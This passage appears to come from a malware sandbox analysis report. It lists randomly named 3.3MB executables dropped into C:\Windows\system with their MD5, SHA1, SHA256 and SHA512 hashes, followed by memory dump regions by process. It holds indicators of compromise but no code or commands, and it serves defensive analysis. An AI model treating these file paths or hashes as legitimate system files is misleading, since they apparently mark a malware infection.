02a2196892e905a88c60146a12618a39bf245aac

SHA256
1060a9595d37a89e32fc8f0fd6518c59c72b06eadcb2e8bddfb81f449665b796

SHA512
2306b5751b610dd0f11f1cf511a640ee91b0d512c30c3a0690e9270361d84b41cebbcd28847414ba17f11fe3a6ed106a4c377ed81cf527f66c3276ab0f9cb25b

Download Submit
C:\Windows\system\jNXaNYF.exe

Filesize
3.3MB

MD5
cab65c3163bddbbee3b8c2c52045dceb

SHA1
55d4a9330f0f7fae9481d6553fcdd5fca02e3060

SHA256
0bd6d2ecbad9408be01b8a1e13c9e488f4bc62d15868efc6c30ec20235652f17

SHA512
0eb634b2861ba72601bc92a44d700f3c83a20273ea20f36ac7de31f464a11cefe27ba6af9d6bc60a0af91028b60b35763b392ebb10cbad98116ddfdc5c4a8623

Download Submit
C:\Windows\system\kRUmySm.exe

Filesize
3.3MB

MD5
4b7f8200f960bd7b2e9373f83e6d9601

SHA1
35e44ad59785c947a01f39144c48255b2257c571

SHA256
189c4f0c603a4194f01db8a27cae9fbda814645a503c1caf03928f30ef512d86

SHA512
a01da238ccae6090268064e5ae9340b85361c9682fad6fe2d051ca34a91d29afb6a85346c054f0a7ea2770b38d9f98e1dd49e04ab21e3268686ec7b5e6c891bd

Download Submit
C:\Windows\system\ktLclPf.exe

Filesize
3.3MB

MD5
623af094f47e9da98864391e8c7e01c7

SHA1
7a2d68f0b4e6e4545d25af3919359421a7bf0818

SHA256
3434b3cc6c634ca688a59f5ac3275c5d3e4ea0442fe7e7ac01f5b47566a59cf8

SHA512
c2e879a4c4bff932954fb5f37dedb6183e1dff447e2a9d508f72b266b045c8653f200e7e66834fdf9674eff8f32f8faa37799bd8eebaacd8342436d36307e52e

Download Submit
C:\Windows\system\lKvistz.exe

Filesize
3.3MB

MD5
e595559299c3c93430f5072e22313d92

SHA1
673a632ce8214e0d2dcd5085b76cd471f10bbb03

SHA256
b7e247ed332fabc65e2e3c5a2e4418f53a43a667b106a5b1c0eaba6ce43952e7

SHA512
e2db0c26c210820ce78315d7facb70ee258dd0f2bf5603054f7aeb38d72846bb11e1ada76d0fa391c312e0d389a64a3e664105582f3f5b59fed7d91238160849

Download Submit
C:\Windows\system\mEaVJWf.exe

Filesize
3.3MB

MD5
733aac5d41fbbf27f7ada339f17e9fa1

SHA1
be8a26d581da2f0e886cb91906e70f8d53346b46

SHA256
7ce234ca35d687399ee27209e2d88120c29782d5724622c8e57d550ce58c5eb9

SHA512
ca72f8fec8967513939fdb8c4da7d23dda89570abea1118bdbc31f2ffa6761a3b0f8c2bc485cc84610b0ea160d530156597bcdb0e27da68d98131dad63c344f6

Download Submit
C:\Windows\system\mlooZBe.exe

Filesize
3.3MB

MD5
d2d39717b499bd4eb9a149ac988f2fbc

SHA1
ccb19a36033d9057c5827cea2fe6879acf1fc264

SHA256
e512c07fcf8f02f9ee56ac418aba8b6756191b53315e21078fc179bb42d165f1

SHA512
1cdc7c48bf6b2ab68a43ad525ab8b95e4542a46c94849235ae028f9709d65493538e6c596b0dbda236765635419b7e39aeef507f22198efbdbcb7a351aac0233

Download Submit
C:\Windows\system\ouEJWog.exe

Filesize
3.3MB

MD5
7e0006987c49f3ee97ed79dbab838148

SHA1
fdbcd052bc9ab6496a8d2cf6bee0e577b54d3a8a

SHA256
924acbbea2227a6bbf1967881dc67eccafb26cc9c4523802c83f4e8d47c471ec

SHA512
785e71eeba8747ab5150c259b0400be71a98ecd018fa0c1c5211f4a59c8ebe53b0665e7029686d861f84de18f47b1b9916175e101328afa10ba05f81b886ad02

Download Submit
C:\Windows\system\rErbfIM.exe

Filesize
3.3MB

MD5
ff94ad3d39a7f9aa9cd43bfe34936b40

SHA1
7033619bf0dac6b785ea8a5173257b73019256c0

SHA256
c5ccceaa6a8aaf06e175e19a00c8001bcb8073c208c65515d726cff85e338008

SHA512
e59a3109379ba5e295600378a32bc4e08e5969d7d6144de6ba96fcf697ef0ad0fd71e5b4086fe031e9d19854d0dfac855aa25984679a2b0a97dbcc27433f2356

Download Submit
C:\Windows\system\spZCNoj.exe

Filesize
3.3MB

MD5
917d02eee2cf582c25cf8817017bb5b6

SHA1
07686d5712537791e0828cc1b7e3322ecc75fd53

SHA256
7304c2a9ad0cf0819a489847b495625781a162e0c1575e282b48c4f8c5303606

SHA512
584f168173baf79051308bf95a76b3dcd55b577c2c977798ae281525dbe7d91a09b8e2cd07a67f4fd26b789f06c1f49cf900e7352fc3c34a0b993c381fec855f

Download Submit
C:\Windows\system\xPRiWce.exe

Filesize
3.3MB

MD5
5e331314bd26fc160a1cbdb6b791500b

SHA1
eadbda8eb706939bff7db5cf3f2f62fd433e3a45

SHA256
1a4265a4c81cc1bde14b0da349caa0c697e230953c7030332ad38aedf4877633

SHA512
880bf112440942e13a97b02c1dc909b3f605f5b814f304296c1c395e7b6a73d00ac6518d49154a834ce3e54ab0468810e56d736aa8e0f2c972b4d4fbeaad39b3

Download Submit
C:\Windows\system\zYIBYot.exe

Filesize
3.3MB

MD5
aa189d9b93e3fc6dcab89b6857013b4e

SHA1
fa7f9d44a21e14a585fa4b7580f52c523320da9b

SHA256
38a4c25988c14318cc5440ebe38def46fd9ee77436275478a8e6f5ee38904221

SHA512
b24a19998bc8363a09f2035ad933e45a163b61827a3725a5eace663c304afa680cd9bbf85a05a298b7c83ac2c53c4d52a94c22acdca54fd0236f349485405502

Download Submit
C:\Windows\system\zeVNzhq.exe

Filesize
3.3MB

MD5
86d7232e069706e695be0dfdf7482d53

SHA1
4f46b33dfb513c40066d2065c8273a99a329c475

SHA256
e47c5186d45db3082b30734990a3cc9957673cd381e81b8106d258df852fea1c

SHA512
13f11f76fa060972acb568e1cc2f3c0790745b50b26a0d36edc4d977920184ef5dd1ff7c94dec804cc05acb6a5b9ad18adb455b2500aa9a5869714b270b16875

Download Submit
C:\Windows\system\zqghfNC.exe

Filesize
3.3MB

MD5
bd3796f883d8468b77944945fe0d7f7a

SHA1
cd8e4fde6e0ec43a177f3ccc902c2315f2c042a1

SHA256
c54c2d4d2bb0c28c927d0e9e39c49d07df053d38e47d42c5d180da6b072a26c2

SHA512
ebdc362e3c42c6b8e1872f8876add91098a2d18de4e3ba89479e1340676a15803465db7044ab7e9d7003afba021a97d65a85b71d4ca664487b9adaefc8081a6e

Download Submit
\Windows\system\AhBFvlh.exe

Filesize
3.3MB

MD5
b7ddcdc2d18830d34d9767bd27eab09d

SHA1
4c88321f93acb125275d4e04fd73e9ca72798d58

SHA256
22c9fa89ab8e476b747d60e08e6578a8bb8df9a115408fb79d8b3c195efec1dc

SHA512
fd1e67c0d39d958b1adf1cf7071a71267428b5804fdccf1e4e3ffa56e6b918e355f454b78b486810bd5238368f37edd36c0e11dbb33360fe23d7d82a1654b259

Download Submit
\Windows\system\dnuViPM.exe

Filesize
3.3MB

MD5
ed269ee0dea6bad97afa93cfeac4b026

SHA1
f097a02ec87ee0a965ae095a1a4b83243db23c6d

SHA256
6b951ef37798543af2696f28e40083c68ad5d6f6c02248fb58f85b528cc63c55

SHA512
8e66c87fbd35ad2bdad757afcf080397efd13b36b669bc81b769aac4a819c27d4a9d518b772aaa9801d9e9293b583b2103d6d6c1e38a3f598f09fa67320f6a4d

Download Submit
memory/1312-121-0x000000013F1A0000-0x000000013F596000-memory.dmp

Filesize
4.0MB

Download
memory/1312-1515-0x000000013F1A0000-0x000000013F596000-memory.dmp

Filesize
4.0MB

Download
memory/1656-134-0x000000013F8F0000-0x000000013FCE6000-memory.dmp

Filesize
4.0MB

Download
memory/1656-1537-0x000000013F8F0000-0x000000013FCE6000-memory.dmp

Filesize
4.0MB

Download
memory/1900-32-0x000000013F0C0000-0x000000013F4B6000-memory.dmp

Filesize
4.0MB

Download
memory/1900-1498-0x000000013F0C0000-0x000000013F4B6000-memory.dmp

Filesize
4.0MB

Download
memory/2052-1502-0x000000013F7B0000-0x000000013FBA6000-memory.dmp

Filesize
4.0MB

Download
memory/2052-34-0x000000013F7B0000-0x000000013FBA6000-memory.dmp

Filesize
4.0MB

Download
memory/2100-139-0x000000013F100000-0x000000013F4F6000-memory.dmp

Filesize
4.0MB

Download
memory/2100-1538-0x000000013F100000-0x000000013F4F6000-memory.dmp

Filesize
4.0MB

Download
memory/2136-131-0x000000013F8F0000-0x000000013FCE6000-memory.dmp

Filesize
4.0MB

Download
memory/2136-0-0x000000013FEC0000-0x00000001402B6000-memory.dmp

Filesize
4.0MB

Download
memory/2136-1814-0x000000013FEC0000-0x00000001402B6000-memory.dmp

Filesize
4.0MB

Download
memory/2136-142-0x000000013F7B0000-0x000000013FBA6000-memory.dmp

Filesize
4.0MB

Download
memory/2136-141-0x000000013F7B0000-0x000000013FBA6000-memory.dmp

Filesize
4.0MB

Download
memory/2136-140-0x000000013F0C0000-0x000000013F4B6000-memory.dmp

Filesize
4.0MB

Download
memory/2136-36-0x000000013F1A0000-0x000000013F596000-memory.dmp

Filesize
4.0MB

Download
memory/2136-135-0x000000013F100000-0x000000013F4F6000-memory.dmp

Filesize
4.0MB

Download
memory/2136-148-0x00000000039D0000-0x0000000003DC6000-memory.dmp

Filesize
4.0MB

Download
memory/2136-2296-0x00000000039D0000-0x0000000003DC6000-memory.dmp

Filesize
4.0MB

Download
memory/2136-125-0x00000000039D0000-0x0000000003DC6000-memory.dmp

Filesize
4.0MB

Download
memory/2136-129-0x000000013F290000-0x000000013F686000-memory.dmp

Filesize
4.0MB

Download
memory/2136-122-0x000000013F870000-0x000000013FC66000-memory.dmp

Filesize
4.0MB

Download
memory/2136-1-0x0000000000100000-0x0000000000110000-memory.dmp

Filesize
64KB

Download
memory/2136-127-0x000000013F470000-0x000000013F866000-memory.dmp

Filesize
4.0MB

Download
memory/2136-12-0x000000013FA40000-0x000000013FE36000-memory.dmp

Filesize
4.0MB

Download
memory/2136-2007-0x00000000039D0000-0x0000000003DC6000-memory.dmp

Filesize
4.0MB

Download
memory/2176-200-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download
memory/2176-37-0x000007FEF5F7E000-0x000007FEF5F7F000-memory.dmp

Filesize
4KB

Download
memory/2176-113-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download
memory/2176-92-0x000000001B730000-0x000000001BA12000-memory.dmp

Filesize
2.9MB

Download
memory/2176-94-0x00000000028E0000-0x00000000028E8000-memory.dmp

Filesize
32KB

Download
memory/2240-1534-0x000000013FE80000-0x0000000140276000-memory.dmp

Filesize
4.0MB

Download
memory/2240-124-0x000000013FE80000-0x0000000140276000-memory.dmp

Filesize
4.0MB

Download
memory/2284-1481-0x000000013FA40000-0x000000013FE36000-memory.dmp

Filesize
4.0MB

Download
memory/2284-26-0x000000013FA40000-0x000000013FE36000-memory.dmp

Filesize
4.0MB

Download
memory/2388-1536-0x000000013F470000-0x000000013F866000-memory.dmp

Filesize
4.0MB

Download
memory/2388-128-0x000000013F470000-0x000000013F866000-memory.dmp

Filesize
4.0MB

Download
memory/2412-1528-0x000000013F870000-0x000000013FC66000-memory.dmp

Filesize
4.0MB

Download
memory/2412-123-0x000000013F870000-0x000000013FC66000-memory.dmp

Filesize
4.0MB

Download
memory/2432-1535-0x000000013FFA0000-0x0000000140396000-memory.dmp

Filesize
4.0MB

Download
memory/2432-126-0x000000013FFA0000-0x0000000140396000-memory.dmp

Filesize
4.0MB

Download
memory/2436-1539-0x000000013F290000-0x000000013F686000-memory.dmp

Filesize
4.0MB

Download
memory/2436-130-0x000000013F290000-0x000000013F686000-memory.dmp

Filesize
4.0MB

Download
memory/2624-147-0x000000013F7B0000-0x000000013FBA6000-memory.dmp

Filesize
4.0MB

Download
memory/2624-1518-0x000000013F7B0000-0x000000013FBA6000-memory.dmp

Filesize
4.0MB

Download